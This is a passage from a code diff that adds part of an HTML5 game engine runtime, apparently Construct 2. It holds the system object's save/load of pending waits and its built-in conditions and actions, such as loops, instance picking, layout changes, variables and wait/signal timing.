+ sobj["insts"].push(w.sols[p].insts[j].uid);
+ waitobj["sols"][t.sid.toString()] = sobj;
+ }
+ }
+ owaits.push(waitobj);
+ }
+ return o;
+};
+cr.system_object.prototype.loadFromJSON = function (o)
+{
+ var owaits = o["waits"];
+ var i, len, j, lenj, p, w, addWait, e, aindex, t, savedsol, nusol, inst;
+ cr.clearArray(this.waits);
+ for (i = 0, len = owaits.length; i < len; i++)
+ {
+ w = owaits[i];
+ e = this.runtime.blocksBySid[w["ev"].toString()];
+ if (!e)
+ continue; // event must've gone missing
+ aindex = -1;
+ for (j = 0, lenj = e.actions.length; j < lenj; j++)
+ {
+ if (e.actions[j].sid === w["act"])
+ {
+ aindex = j;
+ break;
+ }
+ }
+ if (aindex === -1)
+ continue; // action must've gone missing
+ addWait = {};
+ addWait.sols = {};
+ addWait.solModifiers = [];
+ addWait.deleteme = false;
+ addWait.time = w["t"];
+ addWait.signaltag = w["st"] || "";
+ addWait.signalled = !!w["s"];
+ addWait.ev = e;
+ addWait.actindex = aindex;
+ for (j = 0, lenj = w["sm"].length; j < lenj; j++)
+ {
+ t = this.runtime.getObjectTypeBySid(w["sm"][j]);
+ if (t)
+ addWait.solModifiers.push(t);
+ }
+ for (p in w["sols"])
+ {
+ if (w["sols"].hasOwnProperty(p))
+ {
+ t = this.runtime.getObjectTypeBySid(parseInt(p, 10));
+ if (!t)
+ continue; // type must've been deleted
+ savedsol = w["sols"][p];
+ nusol = {
+ sa: savedsol["sa"],
+ insts: []
+ };
+ for (j = 0, lenj = savedsol["insts"].length; j < lenj; j++)
+ {
+ inst = this.runtime.getObjectByUID(savedsol["insts"][j]);
+ if (inst)
+ nusol.insts.push(inst);
+ }
+ addWait.sols[t.index.toString()] = nusol;
+ }
+ }
+ this.waits.push(addWait);
+ }
+};
+(function ()
+{
+ var sysProto = cr.system_object.prototype;
+ function SysCnds() {};
+ SysCnds.prototype.EveryTick = function()
+ {
+ return true;
+ };
+ SysCnds.prototype.OnLayoutStart = function()
+ {
+ return true;
+ };
+ SysCnds.prototype.OnLayoutEnd = function()
+ {
+ return true;
+ };
+ SysCnds.prototype.Compare = function(x, cmp, y)
+ {
+ return cr.do_cmp(x, cmp, y);
+ };
+ SysCnds.prototype.CompareTime = function (cmp, t)
+ {
+ var elapsed = this.runtime.kahanTime.sum;
+ if (cmp === 0)
+ {
+ var cnd = this.runtime.getCurrentCondition();
+ if (!cnd.extra["CompareTime_executed"])
+ {
+ if (elapsed >= t)
+ {
+ cnd.extra["CompareTime_executed"] = true;
+ return true;
+ }
+ }
+ return false;
+ }
+ return cr.do_cmp(elapsed, cmp, t);
+ };
+ SysCnds.prototype.LayerVisible = function (layer)
+ {
+ if (!layer)
+ return false;
+ else
+ return layer.visible;
+ };
+ SysCnds.prototype.LayerEmpty = function (layer)
+ {
+ if (!layer)
+ return false;
+ else
+ return !layer.instances.length;
+ };
+ SysCnds.prototype.LayerCmpOpacity = function (layer, cmp, opacity_)
+ {
+ if (!layer)
+ return false;
+ return cr.do_cmp(layer.opacity * 100, cmp, opacity_);
+ };
+ SysCnds.prototype.Repeat = function (count)
+ {
+ var current_frame = this.runtime.getCurrentEventStack();
+ var current_event = current_frame.current_event;
+ var solModifierAfterCnds = current_frame.isModifierAfterCnds();
+ var current_loop = this.runtime.pushLoopStack();
+ var i;
+ if (solModifierAfterCnds)
+ {
+ for (i = 0; i < count && !current_loop.stopped; i++)
+ {
+ this.runtime.pushCopySol(current_event.solModifiers);
+ current_loop.index = i;
+ current_event.retrigger();
+ this.runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ for (i = 0; i < count && !current_loop.stopped; i++)
+ {
+ current_loop.index = i;
+ current_event.retrigger();
+ }
+ }
+ this.runtime.popLoopStack();
+ return false;
+ };
+ SysCnds.prototype.While = function (count)
+ {
+ var current_frame = this.runtime.getCurrentEventStack();
+ var current_event = current_frame.current_event;
+ var solModifierAfterCnds = current_frame.isModifierAfterCnds();
+ var current_loop = this.runtime.pushLoopStack();
+ var i;
+ if (solModifierAfterCnds)
+ {
+ for (i = 0; !current_loop.stopped; i++)
+ {
+ this.runtime.pushCopySol(current_event.solModifiers);
+ current_loop.index = i;
+ if (!current_event.retrigger()) // one of the other conditions returned false
+ current_loop.stopped = true; // break
+ this.runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ for (i = 0; !current_loop.stopped; i++)
+ {
+ current_loop.index = i;
+ if (!current_event.retrigger())
+ current_loop.stopped = true;
+ }
+ }
+ this.runtime.popLoopStack();
+ return false;
+ };
+ SysCnds.prototype.For = function (name, start, end)
+ {
+ var current_frame = this.runtime.getCurrentEventStack();
+ var current_event = current_frame.current_event;
+ var solModifierAfterCnds = current_frame.isModifierAfterCnds();
+ var current_loop = this.runtime.pushLoopStack(name);
+ var i;
+ if (end < start)
+ {
+ if (solModifierAfterCnds)
+ {
+ for (i = start; i >= end && !current_loop.stopped; --i) // inclusive to end
+ {
+ this.runtime.pushCopySol(current_event.solModifiers);
+ current_loop.index = i;
+ current_event.retrigger();
+ this.runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ for (i = start; i >= end && !current_loop.stopped; --i) // inclusive to end
+ {
+ current_loop.index = i;
+ current_event.retrigger();
+ }
+ }
+ }
+ else
+ {
+ if (solModifierAfterCnds)
+ {
+ for (i = start; i <= end && !current_loop.stopped; ++i) // inclusive to end
+ {
+ this.runtime.pushCopySol(current_event.solModifiers);
+ current_loop.index = i;
+ current_event.retrigger();
+ this.runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ for (i = start; i <= end && !current_loop.stopped; ++i) // inclusive to end
+ {
+ current_loop.index = i;
+ current_event.retrigger();
+ }
+ }
+ }
+ this.runtime.popLoopStack();
+ return false;
+ };
+ var foreach_instancestack = [];
+ var foreach_instanceptr = -1;
+ SysCnds.prototype.ForEach = function (obj)
+ {
+ var sol = obj.getCurrentSol();
+ foreach_instanceptr++;
+ if (foreach_instancestack.length === foreach_instanceptr)
+ foreach_instancestack.push([]);
+ var instances = foreach_instancestack[foreach_instanceptr];
+ cr.shallowAssignArray(instances, sol.getObjects());
+ var current_frame = this.runtime.getCurrentEventStack();
+ var current_event = current_frame.current_event;
+ var solModifierAfterCnds = current_frame.isModifierAfterCnds();
+ var current_loop = this.runtime.pushLoopStack();
+ var i, len, j, lenj, inst, s, sol2;
+ var is_contained = obj.is_contained;
+ if (solModifierAfterCnds)
+ {
+ for (i = 0, len = instances.length; i < len && !current_loop.stopped; i++)
+ {
+ this.runtime.pushCopySol(current_event.solModifiers);
+ inst = instances[i];
+ sol = obj.getCurrentSol();
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ sol.instances[0] = inst;
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ sol2 = s.type.getCurrentSol();
+ sol2.select_all = false;
+ cr.clearArray(sol2.instances);
+ sol2.instances[0] = s;
+ }
+ }
+ current_loop.index = i;
+ current_event.retrigger();
+ this.runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ for (i = 0, len = instances.length; i < len && !current_loop.stopped; i++)
+ {
+ inst = instances[i];
+ sol.instances[0] = inst;
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ sol2 = s.type.getCurrentSol();
+ sol2.select_all = false;
+ cr.clearArray(sol2.instances);
+ sol2.instances[0] = s;
+ }
+ }
+ current_loop.index = i;
+ current_event.retrigger();
+ }
+ }
+ cr.clearArray(instances);
+ this.runtime.popLoopStack();
+ foreach_instanceptr--;
+ return false;
+ };
+ function foreach_sortinstances(a, b)
+ {
+ var va = a.extra["c2_feo_val"];
+ var vb = b.extra["c2_feo_val"];
+ if (cr.is_number(va) && cr.is_number(vb))
+ return va - vb;
+ else
+ {
+ va = "" + va;
+ vb = "" + vb;
+ if (va < vb)
+ return -1;
+ else if (va > vb)
+ return 1;
+ else
+ return 0;
+ }
+ };
+ SysCnds.prototype.ForEachOrdered = function (obj, exp, order)
+ {
+ var sol = obj.getCurrentSol();
+ foreach_instanceptr++;
+ if (foreach_instancestack.length === foreach_instanceptr)
+ foreach_instancestack.push([]);
+ var instances = foreach_instancestack[foreach_instanceptr];
+ cr.shallowAssignArray(instances, sol.getObjects());
+ var current_frame = this.runtime.getCurrentEventStack();
+ var current_event = current_frame.current_event;
+ var current_condition = this.runtime.getCurrentCondition();
+ var solModifierAfterCnds = current_frame.isModifierAfterCnds();
+ var current_loop = this.runtime.pushLoopStack();
+ var i, len, j, lenj, inst, s, sol2;
+ for (i = 0, len = instances.length; i < len; i++)
+ {
+ instances[i].extra["c2_feo_val"] = current_condition.parameters[1].get(i);
+ }
+ instances.sort(foreach_sortinstances);
+ if (order === 1)
+ instances.reverse();
+ var is_contained = obj.is_contained;
+ if (solModifierAfterCnds)
+ {
+ for (i = 0, len = instances.length; i < len && !current_loop.stopped; i++)
+ {
+ this.runtime.pushCopySol(current_event.solModifiers);
+ inst = instances[i];
+ sol = obj.getCurrentSol();
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ sol.instances[0] = inst;
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ sol2 = s.type.getCurrentSol();
+ sol2.select_all = false;
+ cr.clearArray(sol2.instances);
+ sol2.instances[0] = s;
+ }
+ }
+ current_loop.index = i;
+ current_event.retrigger();
+ this.runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ for (i = 0, len = instances.length; i < len && !current_loop.stopped; i++)
+ {
+ inst = instances[i];
+ sol.instances[0] = inst;
+ if (is_contained)
+ {
+ for (j = 0, lenj = inst.siblings.length; j < lenj; j++)
+ {
+ s = inst.siblings[j];
+ sol2 = s.type.getCurrentSol();
+ sol2.select_all = false;
+ cr.clearArray(sol2.instances);
+ sol2.instances[0] = s;
+ }
+ }
+ current_loop.index = i;
+ current_event.retrigger();
+ }
+ }
+ cr.clearArray(instances);
+ this.runtime.popLoopStack();
+ foreach_instanceptr--;
+ return false;
+ };
+ SysCnds.prototype.PickByComparison = function (obj_, exp_, cmp_, val_)
+ {
+ var i, len, k, inst;
+ if (!obj_)
+ return;
+ foreach_instanceptr++;
+ if (foreach_instancestack.length === foreach_instanceptr)
+ foreach_instancestack.push([]);
+ var tmp_instances = foreach_instancestack[foreach_instanceptr];
+ var sol = obj_.getCurrentSol();
+ cr.shallowAssignArray(tmp_instances, sol.getObjects());
+ if (sol.select_all)
+ cr.clearArray(sol.else_instances);
+ var current_condition = this.runtime.getCurrentCondition();
+ for (i = 0, k = 0, len = tmp_instances.length; i < len; i++)
+ {
+ inst = tmp_instances[i];
+ tmp_instances[k] = inst;
+ exp_ = current_condition.parameters[1].get(i);
+ val_ = current_condition.parameters[3].get(i);
+ if (cr.do_cmp(exp_, cmp_, val_))
+ {
+ k++;
+ }
+ else
+ {
+ sol.else_instances.push(inst);
+ }
+ }
+ cr.truncateArray(tmp_instances, k);
+ sol.select_all = false;
+ cr.shallowAssignArray(sol.instances, tmp_instances);
+ cr.clearArray(tmp_instances);
+ foreach_instanceptr--;
+ obj_.applySolToContainer();
+ return !!sol.instances.length;
+ };
+ SysCnds.prototype.PickByEvaluate = function (obj_, exp_)
+ {
+ var i, len, k, inst;
+ if (!obj_)
+ return;
+ foreach_instanceptr++;
+ if (foreach_instancestack.length === foreach_instanceptr)
+ foreach_instancestack.push([]);
+ var tmp_instances = foreach_instancestack[foreach_instanceptr];
+ var sol = obj_.getCurrentSol();
+ cr.shallowAssignArray(tmp_instances, sol.getObjects());
+ if (sol.select_all)
+ cr.clearArray(sol.else_instances);
+ var current_condition = this.runtime.getCurrentCondition();
+ for (i = 0, k = 0, len = tmp_instances.length; i < len; i++)
+ {
+ inst = tmp_instances[i];
+ tmp_instances[k] = inst;
+ exp_ = current_condition.parameters[1].get(i);
+ if (exp_)
+ {
+ k++;
+ }
+ else
+ {
+ sol.else_instances.push(inst);
+ }
+ }
+ cr.truncateArray(tmp_instances, k);
+ sol.select_all = false;
+ cr.shallowAssignArray(sol.instances, tmp_instances);
+ cr.clearArray(tmp_instances);
+ foreach_instanceptr--;
+ obj_.applySolToContainer();
+ return !!sol.instances.length;
+ };
+ SysCnds.prototype.TriggerOnce = function ()
+ {
+ var cndextra = this.runtime.getCurrentCondition().extra;
+ if (typeof cndextra["TriggerOnce_lastTick"] === "undefined")
+ cndextra["TriggerOnce_lastTick"] = -1;
+ var last_tick = cndextra["TriggerOnce_lastTick"];
+ var cur_tick = this.runtime.tickcount;
+ cndextra["TriggerOnce_lastTick"] = cur_tick;
+ return this.runtime.layout_first_tick || last_tick !== cur_tick - 1;
+ };
+ SysCnds.prototype.Every = function (seconds)
+ {
+ var cnd = this.runtime.getCurrentCondition();
+ var last_time = cnd.extra["Every_lastTime"] || 0;
+ var cur_time = this.runtime.kahanTime.sum;
+ if (typeof cnd.extra["Every_seconds"] === "undefined")
+ cnd.extra["Every_seconds"] = seconds;
+ var this_seconds = cnd.extra["Every_seconds"];
+ if (cur_time >= last_time + this_seconds)
+ {
+ cnd.extra["Every_lastTime"] = last_time + this_seconds;
+ if (cur_time >= cnd.extra["Every_lastTime"] + 0.04)
+ {
+ cnd.extra["Every_lastTime"] = cur_time;
+ }
+ cnd.extra["Every_seconds"] = seconds;
+ return true;
+ }
+ else if (cur_time < last_time - 0.1)
+ {
+ cnd.extra["Every_lastTime"] = cur_time;
+ }
+ return false;
+ };
+ SysCnds.prototype.PickNth = function (obj, index)
+ {
+ if (!obj)
+ return false;
+ var sol = obj.getCurrentSol();
+ var instances = sol.getObjects();
+ index = cr.floor(index);
+ if (index < 0 || index >= instances.length)
+ return false;
+ var inst = instances[index];
+ sol.pick_one(inst);
+ obj.applySolToContainer();
+ return true;
+ };
+ SysCnds.prototype.PickRandom = function (obj)
+ {
+ if (!obj)
+ return false;
+ var sol = obj.getCurrentSol();
+ var instances = sol.getObjects();
+ var index = cr.floor(Math.random() * instances.length);
+ if (index >= instances.length)
+ return false;
+ var inst = instances[index];
+ sol.pick_one(inst);
+ obj.applySolToContainer();
+ return true;
+ };
+ SysCnds.prototype.CompareVar = function (v, cmp, val)
+ {
+ return cr.do_cmp(v.getValue(), cmp, val);
+ };
+ SysCnds.prototype.IsGroupActive = function (group)
+ {
+ var g = this.runtime.groups_by_name[group.toLowerCase()];
+ return g && g.group_active;
+ };
+ SysCnds.prototype.IsPreview = function ()
+ {
+ return typeof cr_is_preview !== "undefined";
+ };
+ SysCnds.prototype.PickAll = function (obj)
+ {
+ if (!obj)
+ return false;
+ if (!obj.instances.length)
+ return false;
+ var sol = obj.getCurrentSol();
+ sol.select_all = true;
+ obj.applySolToContainer();
+ return true;
+ };
+ SysCnds.prototype.IsMobile = function ()
+ {
+ return this.runtime.isMobile;
+ };
+ SysCnds.prototype.CompareBetween = function (x, a, b)
+ {
+ return x >= a && x <= b;
+ };
+ SysCnds.prototype.Else = function ()
+ {
+ var current_frame = this.runtime.getCurrentEventStack();
+ if (current_frame.else_branch_ran)
+ return false; // another event in this else-if chain has run
+ else
+ return !current_frame.last_event_true;
+ /*
+ var current_frame = this.runtime.getCurrentEventStack();
+ var current_event = current_frame.current_event;
+ var prev_event = current_event.prev_block;
+ if (!prev_event)
+ return false;
+ if (prev_event.is_logical)
+ return !this.runtime.last_event_true;
+ var i, len, j, lenj, s, sol, temp, inst, any_picked = false;
+ for (i = 0, len = prev_event.cndReferences.length; i < len; i++)
+ {
+ s = prev_event.cndReferences[i];
+ sol = s.getCurrentSol();
+ if (sol.select_all || sol.instances.length === s.instances.length)
+ {
+ sol.select_all = false;
+ sol.instances.length = 0;
+ }
+ else
+ {
+ if (sol.instances.length === 1 && sol.else_instances.length === 0 && s.instances.length >= 2)
+ {
+ inst = sol.instances[0];
+ sol.instances.length = 0;
+ for (j = 0, lenj = s.instances.length; j < lenj; j++)
+ {
+ if (s.instances[j] != inst)
+ sol.instances.push(s.instances[j]);
+ }
+ any_picked = true;
+ }
+ else
+ {
+ temp = sol.instances;
+ sol.instances = sol.else_instances;
+ sol.else_instances = temp;
+ any_picked = true;
+ }
+ }
+ }
+ return any_picked;
+ */
+ };
+ SysCnds.prototype.OnLoadFinished = function ()
+ {
+ return true;
+ };
+ SysCnds.prototype.OnCanvasSnapshot = function ()
+ {
+ return true;
+ };
+ SysCnds.prototype.EffectsSupported = function ()
+ {
+ return !!this.runtime.glwrap;
+ };
+ SysCnds.prototype.OnSaveComplete = function ()
+ {
+ return true;
+ };
+ SysCnds.prototype.OnSaveFailed = function ()
+ {
+ return true;
+ };
+ SysCnds.prototype.OnLoadComplete = function ()
+ {
+ return true;
+ };
+ SysCnds.prototype.OnLoadFailed = function ()
+ {
+ return true;
+ };
+ SysCnds.prototype.ObjectUIDExists = function (u)
+ {
+ return !!this.runtime.getObjectByUID(u);
+ };
+ SysCnds.prototype.IsOnPlatform = function (p)
+ {
+ var rt = this.runtime;
+ switch (p) {
+ case 0: // HTML5 website
+ return !rt.isDomFree && !rt.isNodeWebkit && !rt.isCordova && !rt.isWinJS && !rt.isWindowsPhone8 && !rt.isBlackberry10 && !rt.isAmazonWebApp;
+ case 1: // iOS
+ return rt.isiOS;
+ case 2: // Android
+ return rt.isAndroid;
+ case 3: // Windows 8
+ return rt.isWindows8App;
+ case 4: // Windows Phone 8
+ return rt.isWindowsPhone8;
+ case 5: // Blackberry 10
+ return rt.isBlackberry10;
+ case 6: // Tizen
+ return rt.isTizen;
+ case 7: // CocoonJS
+ return rt.isCocoonJs;
+ case 8: // Cordova
+ return rt.isCordova;
+ case 9: // Scirra Arcade
+ return rt.isArcade;
+ case 10: // node-webkit
+ return rt.isNodeWebkit;
+ case 11: // crosswalk
+ return rt.isCrosswalk;
+ case 12: // amazon webapp
+ return rt.isAmazonWebApp;
+ case 13: // windows 10 app
+ return rt.isWindows10;
+ default: // should not be possible
+ return false;
+ }
+ };
+ var cacheRegex = null;
+ var lastRegex = "";
+ var lastFlags = "";
+ function getRegex(regex_, flags_)
+ {
+ if (!cacheRegex || regex_ !== lastRegex || flags_ !== lastFlags)
+ {
+ cacheRegex = new RegExp(regex_, flags_);
+ lastRegex = regex_;
+ lastFlags = flags_;
+ }
+ cacheRegex.lastIndex = 0; // reset
+ return cacheRegex;
+ };
+ SysCnds.prototype.RegexTest = function (str_, regex_, flags_)
+ {
+ var regex = getRegex(regex_, flags_);
+ return regex.test(str_);
+ };
+ var tmp_arr = [];
+ SysCnds.prototype.PickOverlappingPoint = function (obj_, x_, y_)
+ {
+ if (!obj_)
+ return false;
+ var sol = obj_.getCurrentSol();
+ var instances = sol.getObjects();
+ var current_event = this.runtime.getCurrentEventStack().current_event;
+ var orblock = current_event.orblock;
+ var cnd = this.runtime.getCurrentCondition();
+ var i, len, inst, pick;
+ if (sol.select_all)
+ {
+ cr.shallowAssignArray(tmp_arr, instances);
+ cr.clearArray(sol.else_instances);
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ }
+ else
+ {
+ if (orblock)
+ {
+ cr.shallowAssignArray(tmp_arr, sol.else_instances);
+ cr.clearArray(sol.else_instances);
+ }
+ else
+ {
+ cr.shallowAssignArray(tmp_arr, instances);
+ cr.clearArray(sol.instances);
+ }
+ }
+ for (i = 0, len = tmp_arr.length; i < len; ++i)
+ {
+ inst = tmp_arr[i];
+ inst.update_bbox();
+ pick = cr.xor(inst.contains_pt(x_, y_), cnd.inverted);
+ if (pick)
+ sol.instances.push(inst);
+ else
+ sol.else_instances.push(inst);
+ }
+ obj_.applySolToContainer();
+ return cr.xor(!!sol.instances.length, cnd.inverted);
+ };
+ SysCnds.prototype.IsNaN = function (n)
+ {
+ return !!isNaN(n);
+ };
+ SysCnds.prototype.AngleWithin = function (a1, within, a2)
+ {
+ return cr.angleDiff(cr.to_radians(a1), cr.to_radians(a2)) <= cr.to_radians(within);
+ };
+ SysCnds.prototype.IsClockwiseFrom = function (a1, a2)
+ {
+ return cr.angleClockwise(cr.to_radians(a1), cr.to_radians(a2));
+ };
+ SysCnds.prototype.IsBetweenAngles = function (a, la, ua)
+ {
+ var angle = cr.to_clamped_radians(a);
+ var lower = cr.to_clamped_radians(la);
+ var upper = cr.to_clamped_radians(ua);
+ var obtuse = (!cr.angleClockwise(upper, lower));
+ if (obtuse)
+ return !(!cr.angleClockwise(angle, lower) && cr.angleClockwise(angle, upper));
+ else
+ return cr.angleClockwise(angle, lower) && !cr.angleClockwise(angle, upper);
+ };
+ SysCnds.prototype.IsValueType = function (x, t)
+ {
+ if (typeof x === "number")
+ return t === 0;
+ else // string
+ return t === 1;
+ };
+ sysProto.cnds = new SysCnds();
+ function SysActs() {};
+ SysActs.prototype.GoToLayout = function (to)
+ {
+ if (this.runtime.isloading)
+ return; // cannot change layout while loading on loader layout
+ if (this.runtime.changelayout)
+ return; // already changing to a different layout
+;
+ this.runtime.changelayout = to;
+ };
+ SysActs.prototype.NextPrevLayout = function (prev)
+ {
+ if (this.runtime.isloading)
+ return; // cannot change layout while loading on loader layout
+ if (this.runtime.changelayout)
+ return; // already changing to a different layout
+ var index = this.runtime.layouts_by_index.indexOf(this.runtime.running_layout);
+ if (prev && index === 0)
+ return; // cannot go to previous layout from first layout
+ if (!prev && index === this.runtime.layouts_by_index.length - 1)
+ return; // cannot go to next layout from last layout
+ var to = this.runtime.layouts_by_index[index + (prev ? -1 : 1)];
+;
+ this.runtime.changelayout = to;
+ };
+ SysActs.prototype.CreateObject = function (obj, layer, x, y)
+ {
+ if (!layer || !obj)
+ return;
+ var inst = this.runtime.createInstance(obj, layer, x, y);
+ if (!inst)
+ return;
+ this.runtime.isInOnDestroy++;
+ var i, len, s;
+ this.runtime.trigger(Object.getPrototypeOf(obj.plugin).cnds.OnCreated, inst);
+ if (inst.is_contained)
+ {
+ for (i = 0, len = inst.siblings.length; i < len; i++)
+ {
+ s = inst.siblings[i];
+ this.runtime.trigger(Object.getPrototypeOf(s.type.plugin).cnds.OnCreated, s);
+ }
+ }
+ this.runtime.isInOnDestroy--;
+ var sol = obj.getCurrentSol();
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ sol.instances[0] = inst;
+ if (inst.is_contained)
+ {
+ for (i = 0, len = inst.siblings.length; i < len; i++)
+ {
+ s = inst.siblings[i];
+ sol = s.type.getCurrentSol();
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ sol.instances[0] = s;
+ }
+ }
+ };
+ SysActs.prototype.SetLayerVisible = function (layer, visible_)
+ {
+ if (!layer)
+ return;
+ if (layer.visible !== visible_)
+ {
+ layer.visible = visible_;
+ this.runtime.redraw = true;
+ }
+ };
+ SysActs.prototype.SetLayerOpacity = function (layer, opacity_)
+ {
+ if (!layer)
+ return;
+ opacity_ = cr.clamp(opacity_ / 100, 0, 1);
+ if (layer.opacity !== opacity_)
+ {
+ layer.opacity = opacity_;
+ this.runtime.redraw = true;
+ }
+ };
+ SysActs.prototype.SetLayerScaleRate = function (layer, sr)
+ {
+ if (!layer)
+ return;
+ if (layer.zoomRate !== sr)
+ {
+ layer.zoomRate = sr;
+ this.runtime.redraw = true;
+ }
+ };
+ SysActs.prototype.SetLayerForceOwnTexture = function (layer, f)
+ {
+ if (!layer)
+ return;
+ f = !!f;
+ if (layer.forceOwnTexture !== f)
+ {
+ layer.forceOwnTexture = f;
+ this.runtime.redraw = true;
+ }
+ };
+ SysActs.prototype.SetLayoutScale = function (s)
+ {
+ if (!this.runtime.running_layout)
+ return;
+ if (this.runtime.running_layout.scale !== s)
+ {
+ this.runtime.running_layout.scale = s;
+ this.runtime.running_layout.boundScrolling();
+ this.runtime.redraw = true;
+ }
+ };
+ SysActs.prototype.ScrollX = function(x)
+ {
+ this.runtime.running_layout.scrollToX(x);
+ };
+ SysActs.prototype.ScrollY = function(y)
+ {
+ this.runtime.running_layout.scrollToY(y);
+ };
+ SysActs.prototype.Scroll = function(x, y)
+ {
+ this.runtime.running_layout.scrollToX(x);
+ this.runtime.running_layout.scrollToY(y);
+ };
+ SysActs.prototype.ScrollToObject = function(obj)
+ {
+ var inst = obj.getFirstPicked();
+ if (inst)
+ {
+ this.runtime.running_layout.scrollToX(inst.x);
+ this.runtime.running_layout.scrollToY(inst.y);
+ }
+ };
+ SysActs.prototype.SetVar = function(v, x)
+ {
+;
+ if (v.vartype === 0)
+ {
+ if (cr.is_number(x))
+ v.setValue(x);
+ else
+ v.setValue(parseFloat(x));
+ }
+ else if (v.vartype === 1)
+ v.setValue(x.toString());
+ };
+ SysActs.prototype.AddVar = function(v, x)
+ {
+;
+ if (v.vartype === 0)
+ {
+ if (cr.is_number(x))
+ v.setValue(v.getValue() + x);
+ else
+ v.setValue(v.getValue() + parseFloat(x));
+ }
+ else if (v.vartype === 1)
+ v.setValue(v.getValue() + x.toString());
+ };
+ SysActs.prototype.SubVar = function(v, x)
+ {
+;
+ if (v.vartype === 0)
+ {
+ if (cr.is_number(x))
+ v.setValue(v.getValue() - x);
+ else
+ v.setValue(v.getValue() - parseFloat(x));
+ }
+ };
+ SysActs.prototype.SetGroupActive = function (group, active)
+ {
+ var g = this.runtime.groups_by_name[group.toLowerCase()];
+ if (!g)
+ return;
+ switch (active) {
+ case 0:
+ g.setGroupActive(false);
+ break;
+ case 1:
+ g.setGroupActive(true);
+ break;
+ case 2:
+ g.setGroupActive(!g.group_active);
+ break;
+ }
+ };
+ SysActs.prototype.SetTimescale = function (ts_)
+ {
+ var ts = ts_;
+ if (ts < 0)
+ ts = 0;
+ this.runtime.timescale = ts;
+ };
+ SysActs.prototype.SetObjectTimescale = function (obj, ts_)
+ {
+ var ts = ts_;
+ if (ts < 0)
+ ts = 0;
+ if (!obj)
+ return;
+ var sol = obj.getCurrentSol();
+ var instances = sol.getObjects();
+ var i, len;
+ for (i = 0, len = instances.length; i < len; i++)
+ {
+ instances[i].my_timescale = ts;
+ }
+ };
+ SysActs.prototype.RestoreObjectTimescale = function (obj)
+ {
+ if (!obj)
+ return false;
+ var sol = obj.getCurrentSol();
+ var instances = sol.getObjects();
+ var i, len;
+ for (i = 0, len = instances.length; i < len; i++)
+ {
+ instances[i].my_timescale = -1.0;
+ }
+ };
+ var waitobjrecycle = [];
+ function allocWaitObject()
+ {
+ var w;
+ if (waitobjrecycle.length)
+ w = waitobjrecycle.pop();
+ else
+ {
+ w = {};
+ w.sols = {};
+ w.solModifiers = [];
+ }
+ w.deleteme = false;
+ return w;
+ };
+ function freeWaitObject(w)
+ {
+ cr.wipe(w.sols);
+ cr.clearArray(w.solModifiers);
+ waitobjrecycle.push(w);
+ };
+ var solstateobjects = [];
+ function allocSolStateObject()
+ {
+ var s;
+ if (solstateobjects.length)
+ s = solstateobjects.pop();
+ else
+ {
+ s = {};
+ s.insts = [];
+ }
+ s.sa = false;
+ return s;
+ };
+ function freeSolStateObject(s)
+ {
+ cr.clearArray(s.insts);
+ solstateobjects.push(s);
+ };
+ SysActs.prototype.Wait = function (seconds)
+ {
+ if (seconds < 0)
+ return;
+ var i, len, s, t, ss;
+ var evinfo = this.runtime.getCurrentEventStack();
+ var waitobj = allocWaitObject();
+ waitobj.time = this.runtime.kahanTime.sum + seconds;
+ waitobj.signaltag = "";
+ waitobj.signalled = false;
+ waitobj.ev = evinfo.current_event;
+ waitobj.actindex = evinfo.actindex + 1; // pointing at next action
+ for (i = 0, len = this.runtime.types_by_index.length; i < len; i++)
+ {
+ t = this.runtime.types_by_index[i];
+ s = t.getCurrentSol();
+ if (s.select_all && evinfo.current_event.solModifiers.indexOf(t) === -1)
+ continue;
+ waitobj.solModifiers.push(t);
+ ss = allocSolStateObject();
+ ss.sa = s.select_all;
+ cr.shallowAssignArray(ss.insts, s.instances);
+ waitobj.sols[i.toString()] = ss;
+ }
+ this.waits.push(waitobj);
+ return true;
+ };
+ SysActs.prototype.WaitForSignal = function (tag)
+ {
+ var i, len, s, t, ss;
+ var evinfo = this.runtime.getCurrentEventStack();
+ var waitobj = allocWaitObject();
+ waitobj.time = -1;
+ waitobj.signaltag = tag.toLowerCase();
+ waitobj.signalled = false;
+ waitobj.ev = evinfo.current_event;
+ waitobj.actindex = evinfo.actindex + 1; // pointing at next action
+ for (i = 0, len = this.runtime.types_by_index.length; i < len; i++)
+ {
+ t = this.runtime.types_by_index[i];
+ s = t.getCurrentSol();
+ if (s.select_all && evinfo.current_event.solModifiers.indexOf(t) === -1)
+ continue;
+ waitobj.solModifiers.push(t);
+ ss = allocSolStateObject();
+ ss.sa = s.select_all;
+ cr.shallowAssignArray(ss.insts, s.instances);
+ waitobj.sols[i.toString()] = ss;
+ }
+ this.waits.push(waitobj);
+ return true;
+ };
+ SysActs.prototype.Signal = function (tag)
+ {
+ var lowertag = tag.toLowerCase();
+ var i, len, w;
+ for (i = 0, len = this.waits.length; i < len; ++i)
+ {
+ w = this.waits[i];
+ if (w.time !== -1)
+ continue; // timer wait, ignore
+ if (w.signaltag === lowertag) // waiting for this signal
+ w.signalled = true; // will run on next check
+ }
+ };
+ SysActs.prototype.SetLayerScale = function (layer, scale)
+ {
+ if (!layer)
+ return;
+ if (layer.scale === scale)
+ return;
+ layer.scale = scale;
+ this.runtime.redraw = true;
+ };
+ SysActs.prototype.ResetGlobals = function ()
+ {
+ var i, len, g;
+ for (i = 0, len = this.runtime.all_global_vars.length; i < len; i++)
+ {
+ g = this.runtime.all_global_vars[i];
+ g.data = g.initial;
+ }
+ };
+ SysActs.prototype.SetLayoutAngle = function (a)
+ {
